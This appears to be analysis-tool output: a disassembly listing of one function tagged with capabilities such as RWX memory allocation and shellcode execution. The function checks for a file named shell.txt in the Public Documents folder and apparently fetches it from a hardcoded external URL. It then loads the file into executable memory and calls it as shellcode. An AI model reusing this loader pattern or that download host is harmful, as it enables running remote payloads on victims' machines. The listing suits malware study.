Function at 0x401600
Capabilities:
Allocate or change rwx memory
Check if file exists
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x455032
mov eax, dword fs:[0]
push eax
sub esp, 0x74
push ebx
push esi
push edi
mov eax, dword [0x46dbc0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x18], ecx
push str.C:UsersPublicDocuments_shell.txt
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
xor ebx, ebx
test eax, eax
jne 0x4016db
mov esi, 0xf
mov eax, str.C:UsersPublicDocuments_shell.txt
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x44], ebx
mov byte [ebp - 0x54], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401656
sub eax, edx
push eax
push str.C:UsersPublicDocuments_shell.txt
lea ecx, [ebp - 0x58]
call fcn.00401e60
mov dword [ebp - 4], ebx
push 0x5c
push str.https:__fs_im_kefu.7moor_fs1.com_ly_4d2c3f00_7d4c_11e5_af15_41bf63ae4ea0_1732789626613_q.txt
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], ebx
mov byte [ebp - 0x38], bl
call fcn.00401e60
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 1
call fcn.00401350
mov edi, 0x10
add esp, 4
cmp dword [ebp - 0x24], edi
jb 0x4016b1
mov ecx, dword [ebp - 0x38]
push ecx
call fcn.00402cfe
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], ebx
mov byte [ebp - 0x38], bl
cmp dword [ebp - 0x40], edi
jb 0x4016d2
mov edx, dword [ebp - 0x54]
push edx
call fcn.00402cfe
add esp, 4
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x44], ebx
mov byte [ebp - 0x54], bl
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocString
push str.C:UsersPublicDocuments_shell.txt
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push ebx
cmp esi, 0xffffffff
jne 0x401714
push 0x45fd10
push 0x45fd18
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x4018e9
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
jne 0x401739
push ebx
push 0x45fd10
push 0x45fd28
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x4018e2
push 0x40
push 0x1000
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x14], eax
push ebx
cmp eax, ebx
jne 0x401766
push 0x45fd10
push 0x45fd3c
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x4018e2
lea ecx, [ebp - 0x10]
push ecx
push edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4018c0
cmp dword [ebp - 0x10], edi
jne 0x4018c0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 0x14]
call eax
popal
mov edx, dword [ebp - 0x14]
push 0x8000
push 0
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 8
mov dword [ebp - 0x1c], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov esi, dword [ebp - 0x18]
mov ecx, esi
call fcn.00403b42
call fcn.004049d6
test eax, eax
jne 0x4017ec
push 0xffffffffffffffff
push eax
push 0x64
call fcn.00404da7
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
call fcn.0040584a
add esp, 4
push 0x45fd5c
mov ecx, esi
call fcn.00405d86
push 4
mov ecx, esi
call fcn.004034c5
push 0x6c
call fcn.00402ccf
add esp, 4
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], 2
test eax, eax
je 0x401840
push 0x4602b0
push 0x45ffbc
push 0x4601b4
push 0x80
mov ecx, eax
call fcn.00406236
jmp 0x401842
xor eax, eax
or edi, 0xffffffff
mov dword [ebp - 4], edi
test eax, eax
je 0x4017d8
push eax
mov ecx, esi
call fcn.00406785
lea ecx, [ebp - 0x80]
call fcn.00404302
lea ecx, [ebp - 0x80]
push ecx
mov ecx, esi
mov dword [ebp - 4], 3
call fcn.0040354b
lea edx, [ebp - 0x80]
push edx
mov ecx, esi
call fcn.00406607
test eax, eax
jne 0x40189c
lea ecx, [ebp - 0x80]
mov dword [ebp - 4], edi
call fcn.00404346
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + 0x20]
push 5
call fcn.00406f03
mov esi, dword [esi + 0x20]
mov eax, dword [esi + 0x20]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
lea ecx, [ebp - 0x80]
mov dword [ebp - 4], edi
call fcn.00404346
jmp 0x4018e9
push ebx
push 0x45fd10
push 0x45fd4c
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [ebp - 0x14]
push 0x8000
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret